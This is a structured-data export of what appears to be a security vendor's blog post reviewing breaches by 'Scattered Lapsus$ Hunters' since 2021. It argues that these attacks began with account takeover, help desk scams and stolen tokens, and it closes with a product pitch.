surface.",{"data":11052,"content":11053,"nodeType":866},{},[11054,11057,11064,11067,11074],{"data":11055,"marks":11056,"value":9514,"nodeType":865},{},[],{"data":11058,"content":11059,"nodeType":889},{"uri":3192},[11060],{"data":11061,"marks":11062,"value":3198,"nodeType":865},{},[11063],{"type":1191},{"data":11065,"marks":11066,"value":9525,"nodeType":865},{},[],{"data":11068,"content":11069,"nodeType":889},{"uri":2644},[11070],{"data":11071,"marks":11072,"value":3223,"nodeType":865},{},[11073],{"type":1191},{"data":11075,"marks":11076,"value":1066,"nodeType":865},{},[],{"data":11078,"content":11081,"nodeType":921},{"target":11079},{"sys":11080},{"id":9540,"type":918,"linkType":919},[],{"data":11083,"content":11084,"nodeType":866},{},[11085],{"data":11086,"marks":11087,"value":21,"nodeType":865},{},[],"Investigating a phishing campaign targeting Google Ads Manager MCC accounts to propagate malvertising lures. ","2025-12-02T00:00:00.000Z",{"items":11091},[11092,11094],{"sys":11093,"name":2663},{"id":2662},{"sys":11095,"name":342},{"id":2666},{"items":11097},[11098],{"fullName":10500,"firstName":10501,"jobTitle":10502,"profilePicture":11099},{"url":10504},{"__typename":1802,"sys":11101,"content":11103,"title":12050,"synopsis":12051,"hashTags":59,"publishedDate":12052,"slug":12053,"tagsCollection":12054,"authorsCollection":12060},{"id":11102},"2sFCww9xnI8okIxhtOaiY1",{"json":11104},{"data":11105,"content":11106,"nodeType":1663},{},[11107,11114,11121,11128,11131,11139,11146,11153,11159,11166,11172,11192,11199,11211,11214,11222,11229,11245,11252,11264,11270,11273,11281,11289,11295,11304,11324,11333,11340,11349,11368,11377,11384,11393,11426,11435,11442,11451,11469,11475,11484,11491,11500,11541,11544,11552,11561,11581,11590,11597,11606,11639,11645,11654,11661,11667,11670,11677,11686,11693,11753,11759,11762,11769,11778,11785,11791,11794,11802,11809,11816,11885,11892,11955,11962,11965,11973,11980,11987,11993,11996,12004,12011,12018,12024],{"data":11108,"content":11109,"nodeType":866},{},[11110],{"data":11111,"marks":11112,"value":11113,"nodeType":865},{},[],"The biggest cybersecurity story this year (so far) has been the emergence of “Scattered Lapsus$ Hunters” and their record-breaking worldwide hacking spree. ",{"data":11115,"content":11116,"nodeType":866},{},[11117],{"data":11118,"marks":11119,"value":11120,"nodeType":865},{},[],"Scattered Lapsus$ Hunters is part of “The Com”, the name for the broad community of English-speaking cybercriminals with international criminal connections — including with nation-state sponsored groups. They are also known to collaborate with a range of cybercrime “as-a-Service” organizations for phishing, initial access, ransomware, and more. ",{"data":11122,"content":11123,"nodeType":866},{},[11124],{"data":11125,"marks":11126,"value":11127,"nodeType":865},{},[],"It’s difficult to pin down exactly who the individuals are that make up this criminal collective. But what is known is their MO — making money through extortion by means of account takeover, mass data theft, and ransomware deployment. ",{"data":11129,"content":11130,"nodeType":944},{},[],{"data":11132,"content":11133,"nodeType":953},{},[11134],{"data":11135,"marks":11136,"value":11138,"nodeType":865},{},[11137],{"type":935},"How did we get here? ",{"data":11140,"content":11141,"nodeType":866},{},[11142],{"data":11143,"marks":11144,"value":11145,"nodeType":865},{},[],"Earlier this year, the threat group known to most analysts as Scattered Spider (also tracked as 0ktapus, Octo Tempest, Scatter Swine, Muddled Libra, and UNC3944) re-emerged after a series of arrests in late 2024. ",{"data":11147,"content":11148,"nodeType":866},{},[11149],{"data":11150,"marks":11151,"value":11152,"nodeType":865},{},[],"This group has been active in peaks and troughs over the years, but are mainly known for high-profile ransomware attacks on Caesars and MGM Resorts in 2024. ",{"data":11154,"content":11158,"nodeType":921},{"target":11155},{"sys":11156},{"id":11157,"type":918,"linkType":919},"1Vt269d7n6IGMzOrJs1FDx",[],{"data":11160,"content":11161,"nodeType":866},{},[11162],{"data":11163,"marks":11164,"value":11165,"nodeType":865},{},[],"Scattered Spider hit the headlines again in April 2025 with attacks on UK retailers Marks & Spencer and Co-op, which resulted in significant, prolonged disruption, and a serious downstream impact on the retail supply chain. ",{"data":11167,"content":11171,"nodeType":921},{"target":11168},{"sys":11169},{"id":11170,"type":918,"linkType":919},"3kvcGV2zZZUPnM8IK04Y1O",[],{"data":11173,"content":11174,"nodeType":866},{},[11175,11179,11188],{"data":11176,"marks":11177,"value":11178,"nodeType":865},{},[],"It didn’t stop there, though. What followed was a wide-scale campaign targeting Salesforce customers, with the attackers claiming to have stolen ",{"data":11180,"content":11182,"nodeType":889},{"uri":11181},"https://www.bleepingcomputer.com/news/security/shinyhunters-claims-15-billion-salesforce-records-stolen-in-drift-hacks/",[11183],{"data":11184,"marks":11185,"value":11187,"nodeType":865},{},[11186],{"type":1191},"over 1.5 billion records from 1000+ companies",{"data":11189,"marks":11190,"value":11191,"nodeType":865},{},[]," across multiple verticals, including heavyweights like Google, Cloudflare, Workday, Adidas, FedEx, Disney, LVMH, and many more.",{"data":11193,"content":11194,"nodeType":866},{},[11195],{"data":11196,"marks":11197,"value":11198,"nodeType":865},{},[],"Around this time, the attackers began to refer to themselves as part of a wider collective, assuming the moniker “Scattered Lapsus$ Hunters” (a mash-up of names given by analysts and self-adopted by attackers — Scattered Spider, ShinyHunters, and Lapsus$).",{"data":11200,"content":11201,"nodeType":866},{},[11202,11206],{"data":11203,"marks":11204,"value":11205,"nodeType":865},{},[],"The most significant breach this year to-date impacted Jaguar Land Rover. A ransomware attack resulted in months of disruption that directly impacted the UK’s GDP, with the government underwriting a $1.5B loan to alleviate the supply chain impact. ",{"data":11207,"marks":11208,"value":11210,"nodeType":865},{},[11209],{"type":935},"In fact, this was the most economically consequential cyber attack yet recorded in a G7 economy. ",{"data":11212,"content":11213,"nodeType":944},{},[],{"data":11215,"content":11216,"nodeType":953},{},[11217],{"data":11218,"marks":11219,"value":11221,"nodeType":865},{},[11220],{"type":935},"2025 wasn’t a one-off",{"data":11223,"content":11224,"nodeType":866},{},[11225],{"data":11226,"marks":11227,"value":11228,"nodeType":865},{},[],"The developments through 2025 have presented a stronger picture than ever before that cybercriminal operations are heavily interlinked. Groups overlap considerably, and individuals freely move between different cells. ",{"data":11230,"content":11231,"nodeType":866},{},[11232,11236,11241],{"data":11233,"marks":11234,"value":11235,"nodeType":865},{},[],"When we scratch beneath the surface, this is evident in the tactics, techniques and procedures (TTPs) used by these attackers — even stretching as far back as 2021 with the initial rise of Lapsus$. This is not an accident. ",{"data":11237,"marks":11238,"value":11240,"nodeType":865},{},[11239],{"type":935},"The TTPs used show a conscious move by attackers to move away from environments that are well-protected by traditional security tools. ",{"data":11242,"marks":11243,"value":11244,"nodeType":865},{},[],"This means avoiding targeting endpoints with malware, and not relying on software-based exploits. Instead, these attackers look to take over apps and services directly over the internet. ",{"data":11246,"content":11247,"nodeType":866},{},[11248],{"data":11249,"marks":11250,"value":11251,"nodeType":865},{},[],"Most of the time, this is as simple as logging in to a SaaS app, or an enterprise SSO account (e.g. Microsoft, Okta, or Google) and dumping the data. For attackers that want to take it further, they can abuse the sprawl of interconnected apps that make up modern business IT, seeking out specific data or exploitable functionality. Or, they can leverage internet-accessible management portals to chart a path back to your on-premise assets, giving them everything they need to pivot toward more conventional methods such as ransomware deployment. ",{"data":11253,"content":11254,"nodeType":866},{},[11255,11259],{"data":11256,"marks":11257,"value":11258,"nodeType":865},{},[],"When we look at historical breaches, the pattern is clear. ",{"data":11260,"marks":11261,"value":11263,"nodeType":865},{},[11262],{"type":935},"Not one of the attacks attributed to Scattered Lapsus$ Hunters, or its predecessors, started with an endpoint or network attack — they all began with account takeover. ",{"data":11265,"content":11269,"nodeType":921},{"target":11266},{"sys":11267},{"id":11268,"type":918,"linkType":919},"6poP5VM2ARrEvwKEG42HgK",[],{"data":11271,"content":11272,"nodeType":944},{},[],{"data":11274,"content":11275,"nodeType":953},{},[11276],{"data":11277,"marks":11278,"value":11280,"nodeType":865},{},[11279],{"type":935},"TTP breakdown: Analyzing the top “Scattered Lapsus$ Hunters” breaches since 2021",{"data":11282,"content":11283,"nodeType":1229},{},[11284],{"data":11285,"marks":11286,"value":11288,"nodeType":865},{},[11287],{"type":935},"Phishing and stolen credentials",{"data":11290,"content":11294,"nodeType":921},{"target":11291},{"sys":11292},{"id":11293,"type":918,"linkType":919},"4SNOanDIdGZsvRRnMYQVSo",[],{"data":11296,"content":11297,"nodeType":866},{},[11298],{"data":11299,"marks":11300,"value":11303,"nodeType":865},{},[11301,11302],{"type":935},{"type":1191},"EA Games (2021)",{"data":11305,"content":11306,"nodeType":866},{},[11307,11311,11320],{"data":11308,"marks":11309,"value":11310,"nodeType":865},{},[],"Attackers used stolen session cookies to log into EA’s Slack instance, purchased on a criminal forum. Combined with ",{"data":11312,"content":11314,"nodeType":889},{"uri":11313},"https://pushsecurity.com/blog/phishing-slack-persistence/",[11315],{"data":11316,"marks":11317,"value":11319,"nodeType":865},{},[11318],{"type":1191},"social engineering via Slack",{"data":11321,"marks":11322,"value":11323,"nodeType":865},{},[],", this was used to steal 750GB of data, including video game source code. ",{"data":11325,"content":11326,"nodeType":866},{},[11327],{"data":11328,"marks":11329,"value":11332,"nodeType":865},{},[11330,11331],{"type":935},{"type":1191},"Nvidia (2022)",{"data":11334,"content":11335,"nodeType":866},{},[11336],{"data":11337,"marks":11338,"value":11339,"nodeType":865},{},[],"Attackers used stolen credentials to steal 1TB of data from Nvidia’s internal shares, including a significant amount of sensitive information about the designs of Nvidia graphics cards, source code, and the usernames and passwords of more than 71,000 Nvidia employees.",{"data":11341,"content":11342,"nodeType":866},{},[11343],{"data":11344,"marks":11345,"value":11348,"nodeType":865},{},[11346,11347],{"type":935},{"type":1191},"Microsoft (2022)",{"data":11350,"content":11351,"nodeType":866},{},[11352,11356,11364],{"data":11353,"marks":11354,"value":11355,"nodeType":865},{},[],"Attackers used stolen credentials combined with SIM swapping and ",{"data":11357,"content":11359,"nodeType":889},{"uri":11358},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/mfa_fatigue/description.md",[11360],{"data":11361,"marks":11362,"value":11363,"nodeType":865},{},[],"MFA fatigue",{"data":11365,"marks":11366,"value":11367,"nodeType":865},{},[]," attacks to steal Azure DevOps source code — leaked a 9GB archive of Microsoft source code – including ~90% of Bing and 45% of Cortana code. ",{"data":11369,"content":11370,"nodeType":866},{},[11371],{"data":11372,"marks":11373,"value":11376,"nodeType":865},{},[11374,11375],{"type":935},{"type":1191},"T-Mobile (2022)",{"data":11378,"content":11379,"nodeType":866},{},[11380],{"data":11381,"marks":11382,"value":11383,"nodeType":865},{},[],"Attackers used stolen credentials to establish initial access, coupled with social engineering T-Mobile staff into approving the attacker’s device for VPN access. This resulted in source code being stolen from over 30,000 repositories. ",{"data":11385,"content":11386,"nodeType":866},{},[11387],{"data":11388,"marks":11389,"value":11392,"nodeType":865},{},[11390,11391],{"type":935},{"type":1191},"Snowflake (165 customers) (2024)",{"data":11394,"content":11395,"nodeType":866},{},[11396,11400,11409,11413,11422],{"data":11397,"marks":11398,"value":11399,"nodeType":865},{},[],"Attackers targeted ",{"data":11401,"content":11403,"nodeType":889},{"uri":11402},"https://pushsecurity.com/blog/snowflake-retro/",[11404],{"data":11405,"marks":11406,"value":11408,"nodeType":865},{},[11407],{"type":1191},"165 Snowflake customers",{"data":11410,"marks":11411,"value":11412,"nodeType":865},{},[]," using stolen credentials from credential breaches dating back as far as 2020. Due to widespread MFA gaps and the presence of ",{"data":11414,"content":11416,"nodeType":889},{"uri":11415},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/ghost_logins/description.md",[11417],{"data":11418,"marks":11419,"value":11421,"nodeType":865},{},[11420],{"type":1191},"ghost logins",{"data":11423,"marks":11424,"value":11425,"nodeType":865},{},[],", attackers were able to simply log in to individual customer tenants, dump the data, and use it to extort the companies. In total, 9 public victims were named following the breach, with over 1B breached customer records. ",{"data":11427,"content":11428,"nodeType":866},{},[11429],{"data":11430,"marks":11431,"value":11434,"nodeType":865},{},[11432,11433],{"type":935},{"type":1191},"PowerSchool (2024)",{"data":11436,"content":11437,"nodeType":866},{},[11438],{"data":11439,"marks":11440,"value":11441,"nodeType":865},{},[],"Attackers gained access to a community-focused customer support portal, PowerSource, using compromised credentials and stole data using an \"export data manager\" customer support tool, stealing the data of 62.4 million students and 9.5 million teachers. PowerSchool paid an undisclosed ransom fee, but hackers returned later to extort schools and individuals separately anyway.",{"data":11443,"content":11444,"nodeType":866},{},[11445],{"data":11446,"marks":11447,"value":11450,"nodeType":865},{},[11448,11449],{"type":935},{"type":1191},"Red Hat (2025)",{"data":11452,"content":11453,"nodeType":866},{},[11454,11458,11465],{"data":11455,"marks":11456,"value":11457,"nodeType":865},{},[],"Attackers breached Red Hat’s GitLab instance via a compromised account — the result of ",{"data":11459,"content":11460,"nodeType":889},{"uri":11415},[11461],{"data":11462,"marks":11463,"value":11421,"nodeType":865},{},[11464],{"type":1191},{"data":11466,"marks":11467,"value":11468,"nodeType":865},{},[]," providing a backdoor to access an otherwise secure, SSO-connected account. Stolen data included approximately 800 Customer Engagement Reports (CERs), authentication tokens, full database URIs, and other private information in Red Hat code and CERs, which they claimed to use to gain access to downstream customer infrastructure. ",{"data":11470,"content":11474,"nodeType":921},{"target":11471},{"sys":11472},{"id":11473,"type":918,"linkType":919},"G1V7d5Dvevmr9p0YXElPX",[],{"data":11476,"content":11477,"nodeType":866},{},[11478],{"data":11479,"marks":11480,"value":11483,"nodeType":865},{},[11481,11482],{"type":935},{"type":1191},"Discord (2025)",{"data":11485,"content":11486,"nodeType":866},{},[11487],{"data":11488,"marks":11489,"value":11490,"nodeType":865},{},[],"Attackers compromised a Zendesk customer support account, stealing 1.6TB of data. The hackers say this consisted of roughly 8.4 million tickets affecting 5.5 million unique users, and that about 580,000 users contained payment information.",{"data":11492,"content":11493,"nodeType":866},{},[11494],{"data":11495,"marks":11496,"value":11499,"nodeType":865},{},[11497,11498],{"type":935},{"type":1191},"SoundCloud, MatchGroup, Crunchbase, Betterment... (2026)",{"data":11501,"content":11502,"nodeType":866},{},[11503,11507,11515,11518,11526,11530,11537],{"data":11504,"marks":11505,"value":11506,"nodeType":865},{},[],"Scattered Lapsus$ Hunters have already claimed several public victims in 2026, with over 60 million breached records. ",{"data":11508,"content":11510,"nodeType":889},{"uri":11509},"https://www.bleepingcomputer.com/news/security/shinyhunters-claim-to-be-behind-sso-account-data-theft-attacks/",[11511],{"data":11512,"marks":11513,"value":11514,"nodeType":865},{},[],"SoundCloud, Betterment, Crunchbase",{"data":11516,"marks":11517,"value":1182,"nodeType":865},{},[],{"data":11519,"content":11521,"nodeType":889},{"uri":11520},"https://www.bleepingcomputer.com/news/security/match-group-breach-exposes-data-from-hinge-tinder-okcupid-and-match/",[11522],{"data":11523,"marks":11524,"value":11525,"nodeType":865},{},[],"MatchGroup",{"data":11527,"marks":11528,"value":11529,"nodeType":865},{},[]," have all reported breaches this month, powered by a brand ",{"data":11531,"content":11532,"nodeType":889},{"uri":2322},[11533],{"data":11534,"marks":11535,"value":11536,"nodeType":865},{},[],"new real-time-operated AiTM phishing kit",{"data":11538,"marks":11539,"value":11540,"nodeType":865},{},[]," targeting Okta, Entra, and Google SSO accounts. This is a developing situation, with more victims expected to be announced publicly soon.",{"data":11542,"content":11543,"nodeType":944},{},[],{"data":11545,"content":11546,"nodeType":1229},{},[11547],{"data":11548,"marks":11549,"value":11551,"nodeType":865},{},[11550],{"type":935},"Vishing and help desk scams",{"data":11553,"content":11554,"nodeType":866},{},[11555],{"data":11556,"marks":11557,"value":11560,"nodeType":865},{},[11558,11559],{"type":935},{"type":1191},"MGM Resorts & Caesars (2023)",{"data":11562,"content":11563,"nodeType":866},{},[11564,11568,11577],{"data":11565,"marks":11566,"value":11567,"nodeType":865},{},[],"MGM Resorts and Caesars were hit with twin breaches in 2023. Attackers socially engineered help desk personnel to take over accounts with Super Administrator privileges within MGM Resorts’ Okta tenant, which they then used to register a second, attacker-controlled IdP via ",{"data":11569,"content":11571,"nodeType":889},{"uri":11570},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/inbound_federation/description.md",[11572],{"data":11573,"marks":11574,"value":11576,"nodeType":865},{},[11575],{"type":1191},"inbound federation",{"data":11578,"marks":11579,"value":11580,"nodeType":865},{},[]," — granting comprehensive access that was used to deploy ransomware. ",{"data":11582,"content":11583,"nodeType":866},{},[11584],{"data":11585,"marks":11586,"value":11589,"nodeType":865},{},[11587,11588],{"type":935},{"type":1191},"Transport for London (2024)",{"data":11591,"content":11592,"nodeType":866},{},[11593],{"data":11594,"marks":11595,"value":11596,"nodeType":865},{},[],"Attackers socially engineered the Transport for London help desk to gain privileged access to the IT environment, resulting in prolonged disruption to key online services underpinning London’s public transport network, theft of 5,000 users bank details, and all 30,000 staff members having to reset their online credentials in person.",{"data":11598,"content":11599,"nodeType":866},{},[11600],{"data":11601,"marks":11602,"value":11605,"nodeType":865},{},[11603,11604],{"type":935},{"type":1191},"Marks & Spencer (2025)",{"data":11607,"content":11608,"nodeType":866},{},[11609,11613,11622,11626,11635],{"data":11610,"marks":11611,"value":11612,"nodeType":865},{},[],"Attackers compromised a Microsoft Entra account belonging to a privileged user via a ",{"data":11614,"content":11616,"nodeType":889},{"uri":11615},"https://pushsecurity.com/blog/scattered-spider-defending-against-help-desk-scams/",[11617],{"data":11618,"marks":11619,"value":11621,"nodeType":865},{},[11620],{"type":1191},"help desk scam",{"data":11623,"marks":11624,"value":11625,"nodeType":865},{},[],", which enabled them to steal sensitive data from cloud environments, as well as pivot to deploy ransomware via the ",{"data":11627,"content":11629,"nodeType":889},{"uri":11628},"https://cloud.google.com/blog/topics/threat-intelligence/vsphere-active-directory-integration-risks",[11630],{"data":11631,"marks":11632,"value":11634,"nodeType":865},{},[11633],{"type":1191},"VMware admin console",{"data":11636,"marks":11637,"value":11638,"nodeType":865},{},[],". This enabled ransomware to be deployed at the hypervisor layer, evading host-based protections like EDR. ",{"data":11640,"content":11644,"nodeType":921},{"target":11641},{"sys":11642},{"id":11643,"type":918,"linkType":919},"7hBdHG74NaA3bQfOMpYA9o",[],{"data":11646,"content":11647,"nodeType":866},{},[11648],{"data":11649,"marks":11650,"value":11653,"nodeType":865},{},[11651,11652],{"type":935},{"type":1191},"Jaguar Land Rover (2025)",{"data":11655,"content":11656,"nodeType":866},{},[11657],{"data":11658,"marks":11659,"value":11660,"nodeType":865},{},[],"Attackers compromised highly privileged admin accounts via a help desk scam, which they leveraged to access and deploy ransomware to all aspects of Jaguar’s business, from CAD and engineering software, to payments tracking, to customer car delivery, using similar techniques to the Marks & Spencer breach. ",{"data":11662,"content":11666,"nodeType":921},{"target":11663},{"sys":11664},{"id":11665,"type":918,"linkType":919},"6s1X2fo4K9EeVLBmHm4YXb",[],{"data":11668,"content":11669,"nodeType":944},{},[],{"data":11671,"content":11672,"nodeType":1229},{},[11673],{"data":11674,"marks":11675,"value":694,"nodeType":865},{},[11676],{"type":935},{"data":11678,"content":11679,"nodeType":866},{},[11680],{"data":11681,"marks":11682,"value":11685,"nodeType":865},{},[11683,11684],{"type":935},{"type":1191},"Salesforce & Salesloft (1000+ customers) (2025)",{"data":11687,"content":11688,"nodeType":866},{},[11689],{"data":11690,"marks":11691,"value":11692,"nodeType":865},{},[],"A vast campaign against Salesforce customers resulted in the compromise of 1000+ Salesforce tenants (according to the attacker) with more than 1.5 billion records stolen. This campaign can consisted of three phases:",{"data":11694,"content":11695,"nodeType":2374},{},[11696,11711,11726],{"data":11697,"content":11698,"nodeType":2309},{},[11699],{"data":11700,"content":11701,"nodeType":866},{},[11702,11707],{"data":11703,"marks":11704,"value":11706,"nodeType":865},{},[11705],{"type":935},"Phase 1:",{"data":11708,"marks":11709,"value":11710,"nodeType":865},{},[]," The attacker conducted a large-scale vishing campaign against Salesforce customers, calling up users and socially engineering them into connecting a malicious version of the “Data Loader” app into their tenant. This was in fact an attacker-controlled app that enabled data to be mass-exfiltrated via API. ",{"data":11712,"content":11713,"nodeType":2309},{},[11714],{"data":11715,"content":11716,"nodeType":866},{},[11717,11722],{"data":11718,"marks":11719,"value":11721,"nodeType":865},{},[11720],{"type":935},"Phase 2: ",{"data":11723,"marks":11724,"value":11725,"nodeType":865},{},[],"The attacker conducted a supply-chain compromise against customers of Salesloft. Users of Salesloft’s “Drift” integration were impacted by attackers stealing access tokens from Salesloft’s AWS environment. This integration allowed the attacker to steal data from customers that had deployed Drift to connected environments — namely, Salesforce, and Google Workspace. ",{"data":11727,"content":11728,"nodeType":2309},{},[11729],{"data":11730,"content":11731,"nodeType":866},{},[11732,11737,11741,11749],{"data":11733,"marks":11734,"value":11736,"nodeType":865},{},[11735],{"type":935},"Phase 3:",{"data":11738,"marks":11739,"value":11740,"nodeType":865},{},[]," The attacker then conducted a separate supply-chain compromise involving Gainsight (allegedly using OAuth tokens stolen in the Salesloft attack) which enabled them to ",{"data":11742,"content":11744,"nodeType":889},{"uri":11743},"https://www.bleepingcomputer.com/news/security/salesforce-investigates-customer-data-theft-via-gainsight-breach/",[11745],{"data":11746,"marks":11747,"value":11748,"nodeType":865},{},[],"breach a further 285 Salesforce instances",{"data":11750,"marks":11751,"value":11752,"nodeType":865},{},[]," using stolen OAuth tokens from Gainsight's integrations. ",{"data":11754,"content":11758,"nodeType":921},{"target":11755},{"sys":11756},{"id":11757,"type":918,"linkType":919},"3TwjpVKQ42SwQRhvGFbZdn",[],{"data":11760,"content":11761,"nodeType":944},{},[],{"data":11763,"content":11764,"nodeType":1229},{},[11765],{"data":11766,"marks":11767,"value":699,"nodeType":865},{},[11768],{"type":935},{"data":11770,"content":11771,"nodeType":866},{},[11772],{"data":11773,"marks":11774,"value":11777,"nodeType":865},{},[11775,11776],{"type":935},{"type":1191},"CyberHaven (2024)",{"data":11779,"content":11780,"nodeType":866},{},[11781],{"data":11782,"marks":11783,"value":11784,"nodeType":865},{},[],"Hackers phished a CyberHaven extension developer and uploaded a malicious version of the CyberHaven extension to the Chrome Web Store, leading to customer data breaches where installed in user browsers, impacting CyberHaven’s estimated ~400 business customers. This was part of a broader campaign that targeted 35 Chrome extensions, collectively impacting over 2.5 million users.",{"data":11786,"content":11790,"nodeType":921},{"target":11787},{"sys":11788},{"id":11789,"type":918,"linkType":919},"4ErDI0xi0Vj2Zrk8Qsb2NB",[],{"data":11792,"content":11793,"nodeType":944},{},[],{"data":11795,"content":11796,"nodeType":953},{},[11797],{"data":11798,"marks":11799,"value":11801,"nodeType":865},{},[11800],{"type":935},"The bigger picture",{"data":11803,"content":11804,"nodeType":866},{},[11805],{"data":11806,"marks":11807,"value":11808,"nodeType":865},{},[],"Scattered Lapsus$ Hunters are dominating the headlines right now, but they aren’t the only attackers using these modern techniques and consciously evading established security controls. ",{"data":11810,"content":11811,"nodeType":866},{},[11812],{"data":11813,"marks":11814,"value":11815,"nodeType":865},{},[],"Threat reports agree that attackers are steering away from traditional exploit and malware-driven breaches towards identities:",{"data":11817,"content":11818,"nodeType":2374},{},[11819,11841,11863],{"data":11820,"content":11821,"nodeType":2309},{},[11822],{"data":11823,"content":11824,"nodeType":866},{},[11825,11829,11838],{"data":11826,"marks":11827,"value":11828,"nodeType":865},{},[],"Identity-based attacks surged 32% in the last year, while 97% of identity attacks are password-based, driven by credential leaks and infostealer malware. (",{"data":11830,"content":11832,"nodeType":889},{"uri":11831},"https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/msc/documents/presentations/CSR/Microsoft-Digital-Defense-Report-2025.pdf#page=1",[11833],{"data":11834,"marks":11835,"value":11837,"nodeType":865},{},[11836],{"type":1191},"Microsoft",{"data":11839,"marks":11840,"value":3649,"nodeType":865},{},[],{"data":11842,"content":11843,"nodeType":2309},{},[11844],{"data":11845,"content":11846,"nodeType":866},{},[11847,11851,11860],{"data":11848,"marks":11849,"value":11850,"nodeType":865},{},[],"79% of detections were malware-free in the last year, up from 40% in 2019. (",{"data":11852,"content":11854,"nodeType":889},{"uri":11853},"https://www.crowdstrike.com/en-gb/global-threat-report/",[11855],{"data":11856,"marks":11857,"value":11859,"nodeType":865},{},[11858],{"type":1191},"CrowdStrike",{"data":11861,"marks":11862,"value":3649,"nodeType":865},{},[],{"data":11864,"content":11865,"nodeType":2309},{},[11866],{"data":11867,"content":11868,"nodeType":866},{},[11869,11873,11882],{"data":11870,"marks":11871,"value":11872,"nodeType":865},{},[],"Credential abuse and phishing combined accounted for 38% of breaches, making identity the primary breach vector observed. (",{"data":11874,"content":11876,"nodeType":889},{"uri":11875},"https://www.verizon.com/business/resources/reports/dbir/",[11877],{"data":11878,"marks":11879,"value":11881,"nodeType":865},{},[11880],{"type":1191},"Verizon",{"data":11883,"marks":11884,"value":3649,"nodeType":865},{},[],{"data":11886,"content":11887,"nodeType":866},{},[11888],{"data":11889,"marks":11890,"value":11891,"nodeType":865},{},[],"And other public breaches from this year alone demonstrate similar TTPs from outside of the Scattered Lapsus$ Hunters orbit:",{"data":11893,"content":11894,"nodeType":2374},{},[11895,11910,11925,11940],{"data":11896,"content":11897,"nodeType":2309},{},[11898],{"data":11899,"content":11900,"nodeType":866},{},[11901,11906],{"data":11902,"marks":11903,"value":11905,"nodeType":865},{},[11904],{"type":935},"Nikkei",{"data":11907,"marks":11908,"value":11909,"nodeType":865},{},[],": Japanese publishing giant Nikkei’s Slack messaging platform was compromised using stolen credentials, leaking the names, email addresses, and chat histories for 17,368 individuals registered on Slack.",{"data":11911,"content":11912,"nodeType":2309},{},[11913],{"data":11914,"content":11915,"nodeType":866},{},[11916,11921],{"data":11917,"marks":11918,"value":11920,"nodeType":865},{},[11919],{"type":935},"Evertec",{"data":11922,"marks":11923,"value":11924,"nodeType":865},{},[],": Hackers tried to steal $130 million from Evertec’s Brazilian subsidiary Sinqia S.A.after gaining unauthorized access to its environment on the central bank’s real-time payment system (Pix) using stolen credentials.",{"data":11926,"content":11927,"nodeType":2309},{},[11928],{"data":11929,"content":11930,"nodeType":866},{},[11931,11936],{"data":11932,"marks":11933,"value":11935,"nodeType":865},{},[11934],{"type":935},"Hy-Vee:",{"data":11937,"marks":11938,"value":11939,"nodeType":865},{},[]," Was hit with a data breach after hackers logged in with stolen credentials, exposing 53GB of sensitive data.",{"data":11941,"content":11942,"nodeType":2309},{},[11943],{"data":11944,"content":11945,"nodeType":866},{},[11946,11951],{"data":11947,"marks":11948,"value":11950,"nodeType":865},{},[11949],{"type":935},"Scania: ",{"data":11952,"marks":11953,"value":11954,"nodeType":865},{},[],"Automotive giant Scania confirmed it suffered a cybersecurity incident where threat actors used compromised credentials to breach its Financial Services systems and steal insurance claim documents.",{"data":11956,"content":11957,"nodeType":866},{},[11958],{"data":11959,"marks":11960,"value":11961,"nodeType":865},{},[],"Scattered Lapsus$ Hunters may be grabbing the headlines — but this a huge movement in a vast and flexible community of attackers. And criminals around the world are learning from their success. ",{"data":11963,"content":11964,"nodeType":944},{},[],{"data":11966,"content":11967,"nodeType":953},{},[11968],{"data":11969,"marks":11970,"value":11972,"nodeType":865},{},[11971],{"type":935},"Lessons learned",{"data":11974,"content":11975,"nodeType":866},{},[11976],{"data":11977,"marks":11978,"value":11979,"nodeType":865},{},[],"The common thread with all of these attacks is that they are evading established security controls by targeting applications directly, over the internet, via account takeover.",{"data":11981,"content":11982,"nodeType":866},{},[11983],{"data":11984,"marks":11985,"value":11986,"nodeType":865},{},[],"Clearly, the success of these attacks shows the limitations of multiple control layers. Endpoint and network layer controls have no visibility of this attack surface. Identity-focused controls are being undermined by ghost logins and shadow IT. And the limitations of cloud security controls in their ability to encompass all apps, and detect and stop malicious actions in real-time (that often blend in seamlessly with normal user activity). ",{"data":11988,"content":11992,"nodeType":921},{"target":11989},{"sys":11990},{"id":11991,"type":918,"linkType":919},"4Dg3fZEGf7ShyQJ8jlNDME",[],{"data":11994,"content":11995,"nodeType":944},{},[],{"data":11997,"content":11998,"nodeType":953},{},[11999],{"data":12000,"marks":12001,"value":12003,"nodeType":865},{},[12002],{"type":935},"How Push can help",{"data":12005,"content":12006,"nodeType":866},{},[12007],{"data":12008,"marks":12009,"value":12010,"nodeType":865},{},[],"Stopping attacks that are designed to evade established controls is in our DNA — it’s the reason Push was founded. ",{"data":12012,"content":12013,"nodeType":866},{},[12014],{"data":12015,"marks":12016,"value":12017,"nodeType":865},{},[],"The browser is the gateway to to the apps and identities that attackers are now targeting, with many attacks taking place inside the user’s browser — whether that’s entering credentials onto a phishing page, approving a malicious OAuth grant, installing a risky browser extension, or insecurely accessing an app with a weak password and no MFA. ",{"data":12019,"content":12020,"nodeType":866},{},[12021],{"data":12022,"marks":12023,"value":11050,"nodeType":865},{},[],{"data":12025,"content":12026,"nodeType":866},{},[12027,12030,12037,12040,12047],{"data":12028,"marks":12029,"value":9514,"nodeType":865},{},[],{"data":12031,"content":12032,"nodeType":889},{"uri":3192},[12033],{"data":12034,"marks":12035,"value":3198,"nodeType":865},{},[12036],{"type":1191},{"data":12038,"marks":12039,"value":9525,"nodeType":865},{},[],{"data":12041,"content":12042,"nodeType":889},{"uri":2644},[12043],{"data":12044,"marks":12045,"value":3223,"nodeType":865},{},[12046],{"type":1191},{"data":12048,"marks":12049,"value":1066,"nodeType":865},{},[],"\"Scattered Lapsus$ Hunters\" — how modern attackers exploit the gaps in your security stack ","How Scattered Lapsus$ Hunters breaches demonstrate the evolution of attacker TTPs, shaping the future of cyber 